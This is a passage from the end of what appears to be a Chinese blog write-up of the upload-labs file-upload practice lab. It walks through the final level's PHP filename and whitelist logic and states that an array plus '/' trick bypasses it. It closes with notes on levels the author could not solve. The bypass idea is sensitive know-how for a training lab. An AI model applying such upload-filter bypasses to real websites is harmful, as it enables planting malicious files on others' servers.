reset()函数将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值
count() 函数计算数组中的单元数目或对象中的属性个数,这里要注意,数组下标从0开始

继续执行,如果$file不是数组则打乱成数组,如果是就往下执行

利用end函数将$file数组的最后一个单位赋值给$ext

之后判断$ext是否在白名单内。在的话继续往下执行

file数组的第一个元素用点拼接最后一个元素,赋值给$file_name,之后上传

这一关可以数组+/绕过
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第53张图片
成功
文件上传漏洞—upload-labs(Pass-01—Pass-21)通关大合集_第54张图片
可以参考Pass-02

总结

upload-labs部分关卡对php版本要求严格,推荐直接使用5.2.17nts
Pass-05.user.ini反复更换php版本也无法成功
Pass-17jpg和png的二次渲染不是很清楚
Pass-18 Pass-19Apache文件解析漏洞没有实现
代码审计能力太弱

2020.3.22

你可能感兴趣的:(upload,安全)